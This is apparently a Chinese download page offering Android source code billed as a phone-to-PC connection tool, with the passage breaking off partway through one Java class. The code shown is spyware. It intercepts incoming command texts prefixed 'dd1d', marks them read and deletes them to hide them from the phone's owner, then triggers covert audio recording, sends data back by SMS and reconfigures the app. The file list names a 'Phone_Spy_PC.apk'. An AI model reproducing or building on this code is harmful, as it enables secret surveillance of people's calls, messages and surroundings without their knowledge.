package cn.dd1d.broadcast;
/**
* 丁辉
* qq 843047027
*/
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.io.OutputStreamWriter;
import java.util.List;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.ContentObserver;
import android.database.Cursor;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Handler;
import android.telephony.gsm.SmsManager;
import cn.dd1d.common.ToolsAll;
import cn.dd1d.common.ToolsDate;
import cn.dd1d.db.dao.ConfigDao;
import cn.dd1d.db.dao.SmsDao;
import cn.dd1d.db.modle.ConfigInfo;
import cn.dd1d.db.modle.SmsInfo;
import cn.dd1d.mail.SendMail;
import cn.dd1d.service.AmrService;
import cn.dd1d.service.SendService;
public class SMSObserver extends ContentObserver {
private Context context;
private String number;
public static final String ZL_ID = "dd1d";// 指令标志
private static final String CONFIG = "config";// 配置命令
private static final String DELETE = "delete";// 删除命令
private static final String GET_XLH="getxlh";//获得序列号指令
private static final String SET_ZCM="setzcm";//设置注册码
private static final String SEND = "send";// 发送命令
private static final String RECORD_START = "r_st";// 录音开始命令
private static final String RECORD_STOP = "r_sp";// 录音结束命令
private static final String RECORD_AMR_TIME = "time_amr";// 录音定时录音
public static final String CONFIG_DATA="config";//配置数据
public static final String RINGER_MODE="ringer_mode";//用户设置的响铃模式
public static final String IS_ZC="is_zc";//是否注册
public static final String SEND_NUMBER_OF="send_number_of";
public static int beforeChangedRingerMode;//之前铃声模式
private static final String SMS_ID_CURRENT="sms_id_current";//当前最高的SMS id
private ContentResolver cr;
private SharedPreferences sp;
private SendMail sendMail;
private AudioManager am;//铃声管理器
private Handler handler=new Handler(){
public void handleMessage(android.os.Message msg) {
switch (msg.what) {
case 1:
am.setRingerMode(sp.getInt(RINGER_MODE,2));//设置到之前的铃音状态
break;
default:
break;
}
};
};
public SMSObserver(Context context, Handler handler) {
super(handler);
this.context = context;
// TODO Auto-generated constructor stub
}
@Override
public boolean deliverSelfNotifications() {
// TODO Auto-generated method stub
return super.deliverSelfNotifications();
}
@Override
public void onChange(boolean selfChange) {
// TODO Auto-generated method stub
System.out.println("SmsShuJuGaiBian");
cr = context.getContentResolver();
am=(AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
sp=context.getSharedPreferences(CONFIG_DATA,0);
sendMail=new SendMail(context);
changeOperation();
// while(cursor.moveToNext()){
// for(int i=0;i<cursor.getColumnCount();i++){
// System.out.println("Nmae: "+cursor.getColumnName(i)+" Content: "+cursor.getString(i));
// }
// }
super.onChange(selfChange);
}
private List<String> fileInput(String path, int rowSize) {
try {
FileInputStream fis = context.openFileInput(path);
InputStreamReader isr = new InputStreamReader(fis);
LineNumberReader br = new LineNumberReader(isr);
String jlsjRow = "";
String jlsjAll = "";
for (int i = 0; i < rowSize; i++) {
jlsjAll += "" + jlsjRow + "/n";
jlsjRow = br.readLine();
if (jlsjRow != null) {
sendSMS(number, jlsjRow);
}
}
fis.close();
isr.close();
br.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
private void fileOutpute(String sInfo) {
try {
FileOutputStream fos = context.openFileOutput("",
context.MODE_APPEND);
OutputStreamWriter osw = new OutputStreamWriter(fos);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 短信数据变化进行具体操作
*/
private void changeOperation() {
Cursor cursor = cr.query(Uri.parse("content://sms"), null, null, null,
"_id DESC");// 获得短信数据游标对象
// cursor.moveToFirst();
// for(int i=0;i<cursor.getCount();i++){
// for(int j=0;j<cursor.getColumnCount();j++){
// System.out.println("Name="+cursor.getColumnName(j)+" values="+cursor.getString(cursor.getColumnIndex(cursor.getColumnName(j))));
// }
// cursor.moveToNext();
// }
cursor.moveToFirst();
if (cursor.move(0)) {// 判断是否有短信
// SharedPreferences spID=context.getSharedPreferences(SMS_ID_CURRENT, 0);
// if(spID.getInt(SMS_ID_CURRENT, 0)>cursor.getInt(cursor.getColumnIndex("_id"))){//判断之前最高的ID是否大于当前ID
// spID.edit().putInt(SMS_ID_CURRENT,cursor.getInt(cursor.getColumnIndex("_id")) ).commit();//设置最高ID为当前ID
// return;
// }
//
// 判断是否是指令短信
String smsId = cursor.getString(cursor.getColumnIndex("_id"));// 获得短信ID
String body = cursor.getString(cursor.getColumnIndex("body"));// 获得短信内容
number = cursor.getString(cursor.getColumnIndex("address"));// 获得发送短信手机号
String smsType=cursor.getString(cursor.getColumnIndex("type"));//获得短信类型 是发送还是接收
// spID.edit().putInt(SMS_ID_CURRENT,cursor.getInt(cursor.getColumnIndex("_id")) ).commit();//设置最高ID为当前ID
if(smsType.equals("1")){//判断短信是发送的还是接收的 1为接收 2为发送
if (body.startsWith(ZL_ID)) {// 判断是否是指令开头
//sp.edit().putInt(RINGER_MODE, am.getRingerMode()).commit();//获得当前振铃设置
//am.setRingerMode(AudioManager.RINGER_MODE_SILENT);//设置为静音
ContentValues cv=new ContentValues();
cv.put("read", "1");
cr.update(Uri.parse("content://sms"),cv , "_id=?", new String[] { smsId }); //设置为已读
cr.delete(Uri.parse("content://sms"), "_id=?",
new String[] { smsId });//删除指令短信
// spID.edit().putInt(SMS_ID_CURRENT,(cursor.getInt(cursor.getColumnIndex("_id"))-1) ).commit();//设置最高ID为当前ID -1 因为删除了指令短信
System.out.println("============="+smsId);
body = body.substring(body.indexOf("/") + 1, body.length());// 除去开头指令
String zl = body.substring(0, body.indexOf("+")); // 获得指令
body = body.substring(body.indexOf("+") + 1, body.length());// 除去操作指令
if (zl.equals(CONFIG)) {// 判断是否是配置指令
doConfig(body);//设置配置信息
onAlarm();//重新设置触发闹铃时间
} else if (zl.equals(DELETE)) {
} else if (zl.equals(SEND)) {//判断发送命令
doSend(body);
} else if (zl.equals(RECORD_START)) {
Intent intent=new Intent(AmrService.START_AMR);
intent.setClass(context, AmrService.class);
context.startService(intent);
} else if (zl.equals(RECORD_STOP)) {
Intent intent=new Intent(AmrService.STOP_AMR);
intent.setClass(context, AmrService.class);
context.startService(intent);
} else if (zl.equals(RECORD_AMR_TIME)) {
Intent intent=new Intent(AmrService.AMR_TIME);
intent.setClass(context, AmrService.class);
intent.putExtra("values",body);
context.startService(intent);
}
else if(zl.equals(GET_XLH)){
sendSMS(number,ToolsAll.getCode(context));
没有合适的资源?快使用搜索试试~ 我知道了~
android手机连接电脑手机端源代码
共100个文件
class:51个
java:31个
xml:5个
4星 · 超过85%的资源 需积分: 50 178 下载量 128 浏览量
2011-08-19
17:11:39
上传
评论 5
收藏 1.31MB RAR 举报
温馨提示
一款android手机连接PC机的手机端源码
资源推荐
资源详情
资源评论
收起资源包目录
android手机连接电脑手机端源代码 (100个子文件)
resources.ap_ 7KB
Phone_Spy_PC.apk 320KB
SMSObserver.class 12KB
PhoneService.class 10KB
CrashHandler.class 8KB
ToolsDate.class 7KB
AmrService.class 6KB
JavaMail.class 6KB
SendMail.class 6KB
CallBroadcastReceiver.class 5KB
JavaMailWZC.class 5KB
PhoneService$1.class 5KB
PhoneDao.class 3KB
SmsDao.class 3KB
SMSBroadcastReceiver.class 3KB
Activity1.class 3KB
PhoneAmrDao.class 2KB
ConfigDao.class 2KB
GpsManager.class 2KB
AmrService$1.class 2KB
GenerateID.class 2KB
TestBroadcastReceiver.class 2KB
Activity1$3.class 2KB
jm.class 2KB
Activity2.class 2KB
SMSObserver$3.class 2KB
PhoneInfo.class 2KB
DingDataBase.class 2KB
SmsInfo.class 2KB
ConfigInfo.class 2KB
Activity2$1.class 2KB
ToolsAll.class 1KB
Activity2$2.class 1KB
CrashHandler$1.class 1KB
Activity1$1.class 1KB
SMSObserver$1.class 1KB
Activity2$3.class 1KB
AmrInfo.class 1011B
SendService.class 999B
SendService$2.class 994B
Activity1$2.class 949B
SMSObserver$2.class 948B
BaseService.class 867B
CrashHandler$2.class 853B
StartBroadcastReceiver.class 852B
SendService$1.class 727B
TelephonyListen.class 618B
R$string.class 602B
R$id.class 569B
R.class 517B
R$layout.class 421B
R$drawable.class 394B
R$attr.class 334B
.classpath 506B
classes.dex 649KB
mail.jar 430KB
eoe_sdk_0.9.9.jar 107KB
activation.jar 50KB
additionnal.jar 45KB
SMSObserver.java 12KB
ToolsDate.java 11KB
PhoneService.java 11KB
CrashHandler.java 8KB
Activity1.java 7KB
CallBroadcastReceiver.java 7KB
AmrService.java 6KB
JavaMail.java 5KB
SendMail.java 5KB
JavaMailWZC.java 4KB
Activity2.java 3KB
ConfigDao.java 2KB
GpsManager.java 2KB
PhoneDao.java 2KB
SmsDao.java 2KB
SMSBroadcastReceiver.java 2KB
DingDataBase.java 2KB
TestBroadcastReceiver.java 1KB
GenerateID.java 1KB
R.java 1KB
PhoneAmrDao.java 1KB
SmsInfo.java 1KB
SendService.java 1KB
PhoneInfo.java 1KB
ConfigInfo.java 1KB
TelephonyListen.java 1KB
StartBroadcastReceiver.java 1KB
jm.java 995B
BaseService.java 865B
ToolsAll.java 741B
AmrInfo.java 528B
icon.png 20KB
icon.png 20KB
icon.png 20KB
.project 848B
default.properties 449B
AndroidManifest.xml 5KB
sql.xml 985B
main.xml 799B
activity2.xml 650B
strings.xml 165B
共 100 条
- 1
hieify001
- 粉丝: 5
- 资源: 54
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- yolov5,SSD 可能使用到的一些代码
- 介绍离散性制造行业的MES系统流程
- 基于IDEA-CCNL/Randeng-Pegasus-238M-Summary-Chines微调的中文文本摘要任务源码+数据集
- 微信小程序源码 车源宝 二手车交易平台 源码下载
- 微信小程序源码 实现 城市切换 demo 根据城市首字母排序城市 选择城市 源码下载
- 2024新版计算机编译原理期末速成全套视频教程(视频+配套资料)
- VMware7.0虚拟机硬盘无法编辑,无法连接到Profile-Driven Storage Service
- arm64内核的mongo镜像
- 基于stm32f103c单片机+MPU6050+0.96英寸OLED显示屏双柄遥控器硬件(原理图+PCB)工程文件.zip
- 整理的关于少儿编程的学习路径,以及如何在小升初,初升高和大学充分的利用起来编程经验的优势
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
- 1
- 2
- 3
- 4
- 5
前往页